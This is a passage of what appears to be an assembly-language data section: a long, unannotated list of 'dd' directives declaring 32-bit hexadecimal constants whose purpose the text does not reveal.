6DA3BF1Ch, 9970D67h, 960F3F03h, 2F58F03Ch, 2299774Bh dd 9F5302Ah, 489CFD9Dh, 6FCDCABEh, 0AAD086Bh, 0B9121E26h dd 9C6F75B1h, 54B7B9Eh, 422A0498h, 0F427E01h, 720435Ch dd 9AC78002h, 412970E6h, 0E4002412h, 8B196071h, 614FF595h dd 0FF0D482Eh, 8E0FC92h, 88FA08BFh, 0B8687687h, 90A66563h dd 1EB981CFh, 9C45860h, 8F89D966h, 4CB58903h, 0E8BA42C3h dd 0CE5B18DDh, 221E4D6h, 628077ACh, 50468FFCh, 0EA197902h dd 5C5B2FF7h, 0DAB78024h, 0DE8AC82Bh, 0D1C5B494h, 2C2F1B1h dd 225F8529h, 9898E9DBh, 0C5271DB3h, 44048533h, 0B81C110Ch dd 79059218h, 91125E9h, 82910A8h, 1F1CD24Ah, 3C10BB20h dd 0F4695F27h, 92A45FB8h, 890D44h, 4EED632Fh, 0A024983Fh dd 0EF178409h, 0A6217137h, 67CD60F0h, 5801D701h, 3B7BFE35h dd 0AE20537Eh, 0BE345B71h, 2784D431h, 7888A2Eh, 0FEB7D781h dd 30B95684h, 804249Eh, 5B1A28B9h, 0F5861156h, 9B30612Eh dd 0B6EF0572h, 0DBCF06D3h, 480F6A52h, 0F74B6FD3h, 73E64EE0h dd 0AC01BAA0h, 0E35DD705h, 0E41EFF49h, 0B90B2B50h, 5FBD0F19h dd 521DAF80h, 1399179Eh, 85BBE5Ah, 62A56520h, 0DC155664h dd 0F24BEF6Bh, 89BD2CF7h, 37A0A8FEh, 0D42F028Ch, 834FACFAh dd 0F469BD31h, 3ED2951Ch, 8B4B5EACh, 2BBF95C4h, 746A4AE0h dd 0D541BA09h, 1185EB81h, 3681040Fh, 0CA7E2439h, 7D6A4ABDh dd 7E849900h, 4B26A166h, 64423D02h, 8B159D2Bh, 492FF98Dh dd 985012D3h, 82E20301h, 0E8BF804Ah, 818CB9ACh, 431FF381h dd 5F872F2Eh, 99A519A6h, 18092E31h, 0F435560Bh, 3E1EF904h dd 8F8186E0h, 9E7F10A9h, 90E06007h, 0E546B8D8h, 238A3F2Fh dd 21092F16h, 89A3AC5Bh, 9B70158h, 0FEB64227h, 73EABF89h dd 752B1057h, 7F5100EEh, 0E1F2645Ah, 0CE7AEDE3h, 0FF78541Eh dd 4BDE9724h, 10D18A0Dh, 0CD400412h, 0A3254EA9h, 0A81A88AAh dd 93127EFh, 0D1C68751h, 490BF91h, 69001649h, 97880758h dd 0FC5459E0h, 0F898EF13h, 605B71C9h, 0BE786B9Bh, 0B4FB017Bh dd 5C8B6F52h, 0ECF84040h, 4C4B7797h, 0DBBFB180h, 6BCB252Bh dd 6D56AAC2h, 0B15E0E91h, 0D33D7C51h, 0EC89B4E1h, 2C7311ADh dd 4D9D0B84h, 900850ECh, 5EB88F0Fh, 2385D607h, 0ED3205CBh dd 67FDAB94h, 1838DFE8h, 9ED49392h, 57A10CFBh, 2940FD98h dd 0F868065Bh, 0B67E4BEBh, 0E8C0DF4Ah, 0F554E807h, 0BC46E7Fh dd 0EED986D5h, 0D85EB521h, 6AF0147Eh, 1F0BF6D9h, 0DC64CE79h dd 0C4EBCC9Ch, 94B1038Bh, 37A7FB5Ch, 0F6F062F9h, 9CC7AEC0h dd 26E44758h, 292FAB1Fh, 0DE60FED2h, 10EA8800h, 51BB87C2h dd 2BB309DDh, 45D6D8E9h, 866492BDh, 9648FAB3h, 6C10F709h dd 0F99ED259h, 0D948DBC1h, 302B7D84h, 3171BFCEh, 6E345525h dd 0D4EC94A9h, 66527500h, 314EE7CDh, 8AC1BFCBh, 0EB81000Bh dd 55580B2Ch, 2260891Fh, 96971AC1h, 88CD9DB1h, 5389F540h dd 0A4F69003h, 0C40A953Ah, 2C00DED9h, 584D4805h, 1225AB6Bh dd 0E99D3129h, 8A500B51h, 55E3C2F8h, 1F09A037h, 0B7AC58C7h dd 7C6B54EFh, 30DE13BFh, 25646365h, 0FDDC4C00h, 8AFAF8A8h dd 0F596020Fh, 2DD9531h, 36685F00h, 4C570986h, 0C72145B3h dd 0E64885C9h, 0A17DDB84h, 33242AC1h, 27F6FAFh, 0C9864532h dd 27CC5735h, 1F119510h, 2910EA48h, 0BB900109h, 30CDC9AFh dd 0FA277E6Ch, 5E0414Dh, 1795DE5h, 9DEFBD7Ch, 3AF909E3h dd 1A23016Bh, 1E499003h, 0CD4AF88Eh, 2D89E260h, 99726D9Dh dd 0F8E5C0A1h, 41EF7397h, 0B12E3DA7h, 11010E1Dh, 0F4DEBB04h dd 37C018C8h, 4A07207Fh, 25AA8A80h, 0F6335E5Ah, 200158FCh dd 0E8C891E6h, 232E38F5h, 9EEF9D92h, 976E2100h, 0CAE6D276h dd 0CE0DD11Ch, 1D4467h, 0E52673F0h, 5B622A70h, 39BE2BFAh dd 44000EEAh, 8E57E5D7h, 5262B5B8h, 0F1D1355Fh, 723181Dh dd 0B61EC182h, 22961162h dd 7B202F1Bh, 30F0C9h, 0D4B6F824h, 97AD692h, 0EE65CF04h dd 85AF9801h, 0E00AF66Fh, 0E2E412EBh, 0B40A0186h, 8BD66C83h dd 4BE86BDAh, 8A4AC090h, 5EE03AE9h, 99A034E7h, 0D60960D7h dd 813268F8h, 21ED8DD9h, 0AA06382Eh, 1EED034Ah, 0B103E1E8h dd 814F8345h, 0A56A1739h, 7680CA0Dh, 0E912B94Fh, 1CACD4F9h dd 9760008Ch, 37A68788h, 9001F7E5h, 5458CB81h, 0D82F79F2h dd 0F5749D30h, 79A8DB97h, 9F181Bh, 0FC7DD294h, 963202B0h dd 50FE8B04h, 0B8C8800Fh, 1FAB851h, 965BE01Ah, 82618509h dd 29BD0BEDh, 988E940Ah, 2FFCE0D8h, 2DF30B0Eh, 0F4521A5Ah dd 5D02EBCBh, 8B9AFFEFh, 0B5DEFF7Eh, 0E204E956h, 0E6AC4492h dd 98540D6h, 108F0F5Ch, 1EEB897h, 1ED71D0h, 0A49D7628h dd 2BDD2346h, 9BABDC24h, 282C014h, 0EEE55BDCh, 984732D9h dd 9110E80h, 40991D10h, 0EC604D07h, 0C639D80Fh, 5D12A1A4h dd 46B1A814h, 50E2F0BDh, 0DC5B0495h, 0AC8FE8A2h, 815200D1h dd 0E4AE4ADFh, 9D7FFF03h, 0B1B62E3Ah, 858907A0h, 0F3301D2Fh dd 0BD318930h, 6A582455h, 3F7B6FBBh, 98F9248Fh, 0B0F2AD00h dd 6BF4078h, 50DDFEC2h, 1E4B648Bh, 0F6D26FE2h, 4E78A077h dd 95ED7F1Ch, 79954970h, 0EFA04F3Dh, 1B5A40E4h, 9666A0BCh dd 9CD8748Ch, 974F4093h, 0B900DB21h, 95D9612Ah, 29DA1A9Ah dd 16560820h, 4BF0B80Bh, 8BA1E3E8h, 0C4282BFBh, 0F0238914h dd 50802AEDh, 0F04AB757h, 0DB81EAC0h, 0F9EBF00Bh, 0D6C1FC51h dd 153A1C46h, 0E6ECE900h, 0BEB0A8A5h, 92C564Ch, 95F953Dh dd 85145773h, 34A9B31Ch, 0D0A4F780h, 4507CB6h, 58EA802Fh dd 0B2DABECEh, 50CB1AC8h, 0FD130274h, 0D98B2085h, 916FB55Fh dd 48088017h, 170183F6h, 0ED35A99Dh, 0C9E8D3FDh, 0B63E7C80h dd 73013DC2h, 29E778DDh, 946B5DB5h, 0A3EFA846h, 750B872Dh dd 0DC1F16Dh, 352BE4B9h, 0B17D04E9h, 7EC60907h, 0E5D67A35h dd 0C482811Fh, 568EE911h, 47BF0094h, 8B1D6A65h, 2494C158h dd 4EA5654Dh, 504BBB8Fh, 8916118Bh, 4508F8E6h, 5610A519h dd 9D004513h, 38B54071h, 0F6F9B4h, 81BEFDC2h, 0E56E91C3h dd 565F2F25h, 0D8BAFA8h, 0DF8B54DBh, 74E66Ah, 73D957A6h dd 0D90D2B9h, 0E5FE170Dh, 0ED6F2698h, 0F9ACC3h, 1CEF6DDh dd 0D70ABB78h, 42B81B4Bh, 424ABB5Eh, 0B60598F9h, 0CA44300Ch dd 76EE2F65h, 554A3491h, 0A0A83BC4h, 65BC314Dh, 7A5EF8E5h dd 59A6C10Bh, 88F70262h, 9DD2914h, 0B926584Dh, 9AF72DC4h dd 0AC59DD3Eh, 2505840Ch, 0FF090DBBh, 309A72F6h, 0F31E3912h dd 5E2554DBh, 0E55BDEB6h, 81F035EEh, 43065BBh, 573C7CCh dd 0DC81A85Ch, 65B4BA80h, 3309860h, 9529F989h, 365E05D1h dd 0F0C34EFh, 0B7B2C9B7h, 356862E0h, 0D1FF0212h, 0D8805FB5h dd 0B70B371Ch, 7AD12C81h, 6FA118CCh, 0A31247BBh, 0ECB21C30h dd 0B07EFF92h, 0E1422801h, 7F870F53h, 6AFC2D42h, 2FD5002h dd 8C26BB50h, 0E3AB30EAh, 0DBC0F24Dh, 250618B3h, 2A5BACB0h dd 99181859h, 67FE8905h, 57843378h, 0BEE98842h, 59245C0Bh dd 209825C0h, 0C227EB4Dh, 72F6F31Fh, 9AB6655h, 2D67BB66h dd 35884273h, 95310E01h, 37EA07E9h, 22F25443h, 48CA140h dd 97A5289h, 0DAF69087h, 0C4CE4ADEh, 945EAD85h, 16B51056h dd 0F943C54Ah, 5CFEF980h, 0F97C6B5Fh, 6A3E2D10h, 0E11756C8h dd 5D8B212Eh, 0BB272Ah, 0FE3CFD08h, 9DA20BCh, 0C1CD705Eh dd 1C115F73h, 35BD1077h, 4B5902Fh, 70E6B80Ah, 54E7D9C0h dd 0E41312D0h, 7D000571h, 3E32EA02h, 0BEF524F8h, 0B9BD52D0h dd 0FC24D60Ch, 10D8CB36h, 82265146h, 30324A56h, 589EA955h dd 8A570F36h, 0C8225FDCh, 0CCC8D0Fh, 3FFBDE51h, 90D154C8h dd 48F995CBh, 0EF7BC240h, 1FE0Bh, 0E17498AFh, 5F9B774Dh dd 1767730Eh, 12DD8E9h, 21313095h, 4C448553h, 70D25FE2h dd 7285EA8h, 239A0D85h, 42122C1Dh, 91DF291Fh, 482E5FF9h dd 0D8B10D4Dh, 0E9012729h, 8A178965h, 9E3B71F9h, 607E2560h dd 1E58DA40h, 0F72004CFh, 0B8615BE5h, 85448834h, 0EC6D8529h dd 2ED84AA7h, 80C3B1F5h, 0D07E66C5h, 6F01ECC0h, 0D4AD6905h dd 342B7443h, 95DB8298h, 99597889h, 70617C27h, 3097DD16h dd 8081B451h, 3F2FC780h, 0EFD5CD6Ah, 91205941h, 0E81060E2h dd 64818E17h, 0CA6FD7E1h, 20BE5F50h, 0ECBB9DBh, 25BE4896h dd 0B029C434h, 263920DAh, 0F91E21EFh, 0B8277DC0h, 80A2F22h dd 0A301A8DFh, 39305D08h, 8976D226h, 271E2C1h, 2BE5BFE0h dd 232E1201h, 6FE8B5BDh, 0F91CFA30h, 7853004Eh, 2357A08Dh dd 19008F7Ch, 0BB76D9B0h, 0B838C561h, 0C1DAC49Eh, 53A81215h dd 7F83F5Dh, 0EF802709h, 0F256C6D2h, 0CDE34AE7h, 93E2E6D9h dd 5F56D754h, 2E6309F5h, 73448F59h, 1D48253h, 0E8C030F5h dd 8245880Bh, 86228300h, 97064928h, 7DF95CDEh, 0B9A9AEC0h dd 9FF275F8h, 8EDD5B4Ah, 806CDA6Fh, 31E2365Fh, 0B1BEC157h dd 6AE1FFADh, 54705820h, 2A241FEAh, 1EC700AEh, 3646913Ch dd 0ABC40B01h, 1D0C8D8Ch, 999C22Bh, 694C9C55h, 755197CCh dd 3F1BDA46h, 1D138960h, 0CA79D117h, 2B61E53Dh, 0A53A7C29h dd 0B8B77D87h, 0D4B325D7h, 35414D70h, 2A9BC88h, 98D8830h dd 0EBCCB730h, 0D48CB4h, 4D43BB4Fh, 0E9879B1h, 0D3A8E525h dd 6EFF98CFh, 0CCB709ADh, 0D41F9EFAh, 9802B9FEh, 517BFC4Eh dd 91BB56F5h, 22F8260Bh, 9D54EECBh, 0D050037Bh, 6ABE0ADBh dd 8A0CCA7h, 810032C1h, 4123AFE3h, 0E3989555h, 319050F8h dd 0F4AE142Eh, 89FF609Dh, 0D5652181h, 0A05D620Eh, 96615E35h dd 0FDA49712h, 0E5761D68h, 609724CEh, 0EDCC923Ah, 3F307103h dd 9D6A830Ah, 810C4BFBh, 0D189D2FEh, 7018D368h, 1717492Bh dd 32E2A49Ah, 12D3800Bh, 0DB9CBFE6h, 50BB508h, 0AE85895Bh dd 0E00BE7Eh, 0B8A28C0Ah, 71F3A13Dh, 3D012980h, 7BEAD5E9h dd 0C44ABB6Eh, 3E12FE37h, 313DB8A1h, 0B122CECh, 1810870Ah dd 0A42F27E7h, 0DCACFAF5h, 0FBDE8AC4h, 0A54A89DAh, 6D73F22Bh dd 0FCF5C971h, 41A93CCh, 65E03379h, 88739BF5h, 19A8C016h dd 8E4A0FABh, 3C5C8AA6h, 0F0DACA80h, 5002C2BBh, 0CCACC8B5h dd 36764947h, 955FD0DAh, 36609119h, 0D1954003h, 277EFAF1h dd 0FC686180h, 48F6901Ah, 3049581h, 0B1098EE9h, 0CDD1AFD9h dd 6018649Bh, 3221CF85h, 0F984ADE3h, 0B040957Eh, 0DCE635h dd 8469CA5Fh, 8B60E7CEh, 2513F34Bh, 470C0F30h, 1E92F6D5h dd 0F55401h, 307D3EE5h, 0F0BEE0Bh, 22E4672Ah, 5C90FAA0h dd 422EDC32h, 5760D5A6h, 95B91ABh, 0FA2B5098h, 0B3A905Fh dd 1E2D25BDh, 565A19FCh, 0FC90D49Dh, 9E0CF80Eh, 14458229h dd 71EDD361h, 79EC6676h, 0E6CE5B5Fh, 0ADEF8104h, 527C1D3h dd 28382A11h, 851D910Bh, 8C1EE9FBh, 9D95F828h, 0E3627235h dd 0B4FAEC77h, 1C694202h, 2850F01h, 0DD8A2589h, 0E744E351h dd 951F5052h, 4F75D7B2h, 0FE72696Ah, 6E3C172Fh, 20A92836h dd 32292558h, 0FBA4BC45h, 88BE00D6h, 0F5EE9174h, 0BB7B236Eh dd 120ED912h, 6F5B2FA2h, 0AA63072Fh, 9702DB42h, 77256228h dd 814DDB44h, 53F98947h, 1BCDA7E5h, 3F71E41h, 60DD2CD5h dd 5371E6h, 773C44E0h, 0A0027890h, 50153688h, 63FADFEEh dd 21B95F03h, 8C61DE24h, 0BA05A0D4h, 6FAE270Dh, 1B23FAh dd 5EF4CED3h, 942516EAh dd 980B66DBh, 1E752F63h, 5097D0EEh, 6B739F56h, 29E59D04h dd 0D9BDF029h, 8A842442h, 4E80A8FCh, 11CCC88h, 0EAAD8F50h dd 2A203243h, 0E6A96A17h, 832DD2B8h, 1706DB72h, 0B23EF6F8h dd 963E301Ch, 90A6D600h, 4A05C6B1h, 0D9953889h, 0A0977548h dd 0A004D44Ah, 0F1B52951h, 94FB8394h, 9E7BAF62h, 0B054100h dd 0C885156Dh, 0F95B47FCh, 19B21FB6h, 282A9033h, 67B6359Dh dd 9B49BECEh, 6972DE96h, 50CCA777h, 0C5BA6DCBh, 0B3F0FAD1h dd 0B02FECFCh, 0DA92551h, 1BE4EF4Dh, 4A796360h, 2FB6D504h dd 0B6A96E56h, 0A03EE75Eh, 7EB62964h, 0B579250Bh, 942FBB5Ch dd 6E4845D8h, 0BF1BA0C6h, 0F3899C09h, 4F4D5Eh, 0AA6163BBh dd 965F252Bh, 0B7706A73h, 0EA9301D9h, 9531DF09h, 48D523B5h dd 0DFE896BEh, 203A92B7h, 12FDF3F7h, 0AD5A3DEh, 0C560F780h dd 0B1D46DCh, 0D6758C93h, 99A465D5h, 0B5B82072h, 0E52B182Fh dd 0D4E12ED1h, 0B4559309h, 968BDF23h, 48715074h, 0D498BB14h dd 3F7D880Ch, 0A9DBB100h, 9635604Ch, 2515FD3h, 4ADFB853h dd 0C6612EE0h, 0A00267E1h, 26D4DC15h, 9DFA370h, 9EF7336Dh dd 8CB70069h, 17709EBFh, 31CE97Dh, 0EB6AFFF5h, 31C18B04h dd 0A4D5B1BDh, 19AC77F9h, 0FA60018Ch, 8C5A9722h, 51A23E8Bh dd 0E27DB5Ch, 0B5A6B356h, 2B8B02DEh, 0DFEB86F7h, 8DB6D6D8h dd 0DECC6Ah, 1547D3Ah, 83D64D86h, 535A5618h, 27A004AEh dd 0CF46A5Bh, 9C5609DEh, 0A70763B3h, 41B10A79h, 2B301A4Fh dd 53C124DBh, 6365A233h, 0E69E0075h, 287372B7h, 0BCD1504Ch dd 0C90D4A69h, 3803E21h, 450C125h, 6038AEBFh, 74EDA91Ah dd 57BC094Ah, 0BE1F8A5h, 0ED6A9FB7h, 0FF74E43Dh, 34595845h dd 0B6D7A4FDh, 8279E7D2h, 547CDC40h, 8636AE4h, 91D259Dh dd 0FF13DD51h, 76A7A3D1h, 0DEAAE701h, 0F61F6016h, 50CA282Ah dd 0D894DB97h, 160072C0h, 0A62D65ECh, 64A9B589h, 0EB02EF06h dd 6C880362h, 2B654562h, 96D86508h, 29C960F5h, 0E4B4558Dh dd 0E7AE904h, 59B199A8h, 5DFD041Ah, 42023FB8h, 0A3F7BEDEh dd 4067DC12h, 57AF0611h, 0F3CC9803h, 80D50490h, 767EECC1h dd 0D822161Eh, 94B1F49h, 3A5F14A8h, 6950CD5Ah, 6A2F6280h dd 0A4120C7Eh, 45FF5C97h, 13870F4Eh, 930AB85Bh, 6CD538AAh dd 1C42C500h, 52B8F0C1h, 0DE3FE35Fh, 751FC4ADh, 6E3629AAh dd 5D00886Ah, 0AD327EB8h, 0B5E49C6Fh, 55F63295h, 0FE124D05h dd 92631F6h, 2D321027h, 0FE82DD6Ah, 0B6C0B707h, 0DEBB21A5h dd 949D6D8h, 7A839A14h, 0F818F053h, 0E0B0F929h, 0BB704AE6h dd 9E46BC8h, 6FF38071h, 0E044E452h, 6E649589h, 1231E9BEh dd 622A1ABDh, 46C3F8E9h, 1C2DE397h, 5F822F28h, 4ACB803Dh dd 0BD01F180h, 7D1743E5h, 0F9BBC824h, 8B3B3E04h, 62A4A008h dd 78193005h, 4C50D780h, 0BB470255h, 68B65D97h, 6013C854h dd 3DD1C8h, 4133086Ch, 3684110Ch, 0CB20294Fh, 5B75BCC9h dd 0BD60FBB3h, 89D248h, 0A0B29521h, 0C38B5AC2h, 160616Eh dd 1FA1B531h, 163A8C2Ah, 0A957418Ah, 4DFC09E6h, 0FA4EBF40h dd 227B4CAEh, 0BE218D12h, 279D1328h, 4CFB2419h, 0C53A453Ch dd 62E9F643h, 2081532h, 87989589h, 0C45FE41Ch, 4AEAE7F0h dd 7FCC98A4h, 97F9041h, 37F56A8Ah, 9B0F81B8h, 0D6C0A977h dd 7E203D02h, 0A84A64C2h, 5A40D3CCh, 25B983B5h, 7048B510h dd 7AA115FDh, 0F9E89DFCh, 0DED726h, 80CDC98Eh, 0BBE317D8h dd 1016FEEh, 5BD78159h, 23604EF8h, 47B29CC0h, 0E223BFDFh dd 8DE1B794h, 7544D078h, 347FAB04h, 6AFF4757h, 1D2357h dd 567D1CBEh, 1A0ADB6Ch, 86CA28B1h, 4F01CC3Bh, 9A2DAADh dd 1FB37020h, 61305E3h, 8087B5C9h, 0F9BD0327h, 0F5677FF9h dd 0CCF59DD3h, 8101A8E7h, 0CFDBC9EFh, 90877E4Eh, 89BA5DB9h dd 27D64C8Ah, 5EDA40F1h, 3501D417h, 0EB061534h, 282A6EB3h dd 2FD7ADFFh, 8D80ED9Bh, 8B72BFCAh, 5D66712Fh, 19E1BF1Bh dd 2A2F21DDh, 1FEA2724h, 0CD9F2053h, 6019644Ah, 4C03D11h dd 0FF6E8A53h, 0B8B8FDE1h, 0C6CF0094h, 0FC2FBC9Bh, 2913FA4Ah dd 2AED5595h, 6D298D27h, 0CF000E59h, 94F54CECh, 74580030h dd 970E9A21h, 101C3F16h, 71659D03h, 394E254Eh, 5A052538h dd 91BCEDE9h, 5995AEA0h, 6D4C8295h, 5940121Bh, 94956180h dd 75A3E966h, 99778B5h, 663AE209h, 0D96384A5h, 9FA17DACh dd 19880F04h, 0BFC105C0h, 0AB7324E3h, 2EE10A99h, 4AC7026Bh dd 526D60A2h, 0A1D210E0h, 0DF76015Ah, 55852972h, 8CB62B34h dd 5E301DA2h, 0C21700E1h, 0ADF5D794h, 8B253628h, 7D9462FAh dd 53059637h, 2D817E36h, 0B32B35A9h, 171138Bh, 26A260B7h dd 5BE93754h, 97F45019h, 9C7DA9Fh, 54DE782Eh, 6DE9B1FEh dd 0D07B4377h, 305159A8h, 25CFF5A0h, 0BB90CC01h, 48FEF8EEh dd 0DD508C2Fh, 0B7329801h, 217B2C1Eh, 8D2B52F9h, 4AE03EF8h dd 80437EBBh, 0B797905Fh, 2D54253Dh, 0A509C748h, 7EDE5430h dd 0F3001A46h, 0EC61E7C6h, 29097B1Eh, 0F71ACDBDh, 0F25639Ch dd 0EC72AF8Eh, 5DC0B06h, 0E641CDF0h, 6D7A8A0h, 8B2A14BFh dd 53439571h, 8475BB87h, 8B881A00h, 992CC257h, 85565F07h dd 2F1BC908h, 0EAC9D46Ch, 0B535780Dh, 71F848ECh, 48BD2C4Fh dd 0D434FCD3h, 10407DD9h, 21D2DE9h, 140EE6C9h, 6D6E04EBh dd 0A99F5D1Bh, 0E556D7A2h, 0FB242A4Eh, 0EEF5F0B6h, 0B66E3BA1h dd 4F70B59Fh, 17CEC921h, 0F3FB5152h, 5DA85AACh, 3B1CB1D2h dd 69C08CDEh, 0E9EF4973h, 3F9414Ah, 1F8C1AACh, 0C6B3878Bh dd 0B4C867CEh, 9BDFF2h, 0B6531872h, 0A10A09D5h, 34707BA2h dd 5350F813h, 0B77B09F7h, 375F8BABh, 82B300DEh, 34CBA0B1h dd 4DB4AFBAh, 2536625h, 1588EB81h, 0D77C0FF3h, 0E167ED40h dd 761001BEh, 2D9D2995h, 0C6F33E1Fh, 5C08A8D3h, 9ECF824Ch dd 6C81804Ah, 1D92B881h, 23EC072h, 0AA913888h, 4FF2B0D5h dd 0F02D2577h, 10994877h, 46780606h, 27800FBFh, 45985BE0h dd 0E497D3A4h, 0F56697F6h, 418854BFh, 6E12830Fh, 0B0E83124h dd 0B2D18980h, 0A12FF224h, 36652E7Ah, 0E7E0BFF6h, 0FC4BDF20h dd 0E341D68Dh, 7322459h, 162CC510h, 58AF8A50h, 50124ECh dd 91643797h, 619F8316h, 295434B4h, 0EEDEE179h, 0C00ECD57h dd 3508AEB3h, 86621697h, 0D19B02BEh, 811A84Ch, 5F52CD56h dd 41352F4Ah, 6AD7380h, 0B732E933h, 3D00736Eh, 917793D4h dd 55B70Fh, 1B3A2940h, 0B4270982h, 51542E25h, 5325DDC7h dd 42785274h, 64E0AC1Ch, 371E860Bh, 8C53AFA7h, 165B5B2Ah dd 4FE205BCh, 0F416FD4Ah, 0D91B426Bh, 217EAD3Fh, 0D5BA0055h dd 0E7EB0E66h, 2EF38078h, 0C5C2BE34h, 83615DE4h, 137B7EA4h dd 2E6816h, 5FD459ABh, 92FF2B2h, 9225A85h, 0F8D9501h, 8EDE7E54h dd 910800DCh, 0E4C6DE9Ah, 0B512B248h, 0A3BB8B0Fh, 643E1755h dd 0E9F9CCE0h, 0A6B86D2Dh, 24419B8h, 3473B750h, 0C499FC72h dd 0C0A1B8E5h, 0F381FD8Ah, 4B487066h, 0A05ECA3Ch, 0A18B909h dd 5EF0771Ch, 99D30486h, 7874FF20h, 0F2C7E5DAh, 89A3C0E5h dd 29135A90h, 7BFCB195h, 51CDBAA5h, 97759DF8h, 96C2EF14h dd 5C212CD7h, 0F7742DF2h, 0DB4B5CDCh, 0EF119D16h, 27E617Fh dd 0D68543B3h, 3BCCF58Bh, 574F998h, 0FE2C3AB7h, 0DF7EE99Dh dd 0B0D13ED4h, 89BE14A4h, 3E493029h, 2A05DD9Dh, 9691A89Dh dd 9A726C09h dd 9C024B0Dh, 19EC298Fh, 0F2F7114Eh, 441C05Ah, 0FB90966Eh dd 33D331E7h, 0F71D0EE7h, 851323B8h, 0BB240966h, 41B7749Ch dd 0EB801811h, 1ADC3315h, 0D3AA314Ah, 0B9CC8AE1h, 0E4E6D2C2h dd 25FC02A7h, 0A6F14641h, 0DF166559h, 7F21A6C2h, 855E669Ch dd 0AC1BF9Eh, 72FD9D33h, 35205B46h, 1A41743h, 0B5A585F0h dd 0FD4B028Bh, 0BC411008h, 1759E48Dh, 0C87174A8h, 0A1EB374h dd 0C500B2BFh, 50517968h, 0E0881DEAh, 0A499C360h, 25C5B02h dd 0E5DB4B65h, 12CAAE80h, 0C14AA4Dh, 25924030h, 151B8999h dd 81AE646Ch, 9195Dh, 9522F780h, 0FBB5F44Eh, 9874583Ch dd 7618430Bh, 0C0FB5C0Dh, 0BA127ABBh, 718E20EDh, 19CB2F4Bh dd 1FB66A4Bh, 0FD897864h, 4B157940h, 0F4256DFCh, 68FEDE94h dd 0BFF5ED01h, 212A4533h, 0DAEA982Ah, 0DCA5C64Ah, 0B21DA72Bh dd 76093015h, 0C9FB1095h, 8F8C00EDh, 317988A9h, 9B75899Ch dd 0A6625209h, 0BBD2DFE4h, 0BD7C70B7h, 6F0EBDC4h, 20612294h dd 12D040E6h, 0C18B2D2Bh, 0EE700C53h, 7E419049h, 3D659575h dd 17F7EC70h, 0ACE48F91h, 0C8502514h, 99FBBF88h, 19C1099Ah dd 2A6FA7FEh, 0E4074002h, 0DEEB302Ah, 0EC04DCC0h, 7EE780ACh dd 6E4FD2B8h, 0B0D39BAh, 0FA85292Ch, 4E017558h, 901D0BB9h dd 505C1770h, 70380FDCh, 0AE6F5265h, 0FD197200h, 8803EF43h dd 95898304h, 0DDFE2F99h, 6270B473h, 0FAF3A0B6h, 0E4360990h dd 97E97482h, 109BFB6Ah, 11AD1481h, 8D96609Bh, 59270528h dd 0EE1E2525h, 0BF54F4Ah, 967727E7h, 0AC7D5456h, 91BD5F0Bh dd 7CD1FF06h, 2EA312D0h, 0E80946ACh, 2E7961FCh, 7BBFB744h dd 80BB3DB4h, 35705629h, 0B7B6F5A6h, 16E88F8Eh, 0CD026A8Bh dd 988FC008h, 42037254h, 8AC75DD3h, 0A4F25F4Ah, 0B3169083h dd 90FD5056h, 5F2D603Bh, 6AFD58F8h, 1D80839Bh, 41683D29h dd 0BBEAFB01h, 31DD2266h, 0BD42743Fh, 5087A8BDh, 9E3CAF7h dd 7FE9DEF3h, 48E61CDFh, 0F94AE1EEh, 455BCF2h, 8D29E693h dd 830C9571h, 0BC9C5683h, 7404D37Eh, 900B2FC5h, 0B6E8AE5Dh dd 1EB827B9h, 6E1C2102h, 0DC1370E4h, 47CC254Ch, 82569095h dd 0B50C00A5h, 5F8F12ECh, 0E8003CC7h, 0EBC2CC59h, 4BA60E3Bh dd 2F3CC998h, 0C4B0FFA7h, 6E09A6BCh, 242630Eh, 5E11C54Bh dd 417BEB5Eh, 18FC70h, 7A083D09h, 5EC9114Bh, 431AB390h dd 556C565Fh, 1E81682Ah, 8E64A7FFh, 7559F307h, 8193BAAEh dd 0BDC81D3Ch, 0B59DF06Dh, 3D951D15h, 65700E2h, 0FF808A05h dd 70DFEDA1h, 175F69F7h, 3684F5F2h, 800F0501h, 987E2CE2h dd 92C4045h, 9D0DB534h, 0FCE2C0EEh, 0C09F70E6h, 2C4CF56Eh dd 60CF71E4h, 3678D6E0h, 267A0503h, 0F20FCD1Eh, 97134EB2h dd 54F6CA24h, 0C6904B40h, 8E1E0585h, 0E56E6060h, 0B84807FBh dd 1211343Ah, 12D3B995h, 0BBAC1AA1h, 0BE2C8896h, 0A5083Fh dd 0BA388B5Bh, 246DB872h, 9A0BB154h, 0E5F4DFC9h, 790EFD09h dd 950105E4h, 2CF5ECC9h, 0C817B4B7h, 413DD39Ch, 6FD1D921h dd 8C8AD348h, 49AED7B7h, 445F4E70h, 433A3F20h, 0B9083FC2h dd 0F3FEB05Fh, 0FEC45F4Bh, 1F80DDF8h, 86D9E017h, 0F1DAD51Ch dd 9313DE46h, 0FE7EC028h, 1E199D23h, 0AE49997h, 0E9239115h dd 0DF574243h, 160D85Eh, 8004F985h, 45B09D09h, 26DE3197h dd 0E3886517h, 0ECFE254Ah, 0F7811EE4h, 40B0882h, 83DC7820h dd 0E0D8CBBEh, 31A041A4h, 89F46E5Bh, 9AFB976Ah, 0A2DFE78h dd 0D09C22F1h, 972E28A6h, 7354DC1Ah, 433701DCh, 0A6138369h dd 0A98D6B4Bh, 44ABBA04h, 0D2ABB9A8h, 0FAFD01E5h, 90DF952Bh dd 73F8BF7Dh, 84274EECh, 0B8F2E910h, 0FCC92D86h, 39EF37h dd 7269A05Fh, 4D2B7E05h, 0F2BCF5C0h, 0A3D59326h, 0F5DDE304h dd 4E5DCEF0h, 88319AFBh, 0E12BC019h, 0CB2D65DAh, 69325BBBh dd 0D4B1F4h, 2DBB8AE2h, 0B366406Dh, 5B20A04Eh, 0FB3433h dd 373BB1Fh, 0A96A20ECh, 0DB4D9D00h, 873A0D05h, 0D18A2460h dd 60F067DCh, 855EA9CDh, 5B615A05h, 549F880Dh, 5F7A0092h dd 0EE061E51h, 5AF4AAA8h, 716B38B4h, 0B02F0154h, 3B60179Fh dd 16B206F6h, 9C1DF833h, 2EDC1DBBh, 9A45A72Ah, 40AE4DEBh dd 0CAB74ED5h, 6397711Dh, 0D91E95D3h, 4AAD0CD2h, 91706EE8h dd 0B745AD01h, 1581BD09h, 2557CE6Ah, 0D81F7BC0h, 0BE5B527Dh dd 90F3F5B0h, 23F90508h, 971BD1B5h, 0C8D11941h, 90586623h dd 0B6450922h, 0C051B2DFh, 0BB4ABF00h, 4CC04FBCh, 925FAC35h dd 41D85F14h, 4EA9E027h, 587593FBh, 531C58A5h, 0DF9B78C2h dd 209CA68h, 0DBFBE1FFh, 0BB401471h, 258529C2h, 157915D9h dd 76055FC2h, 3A02F496h, 0F58FA84Ah, 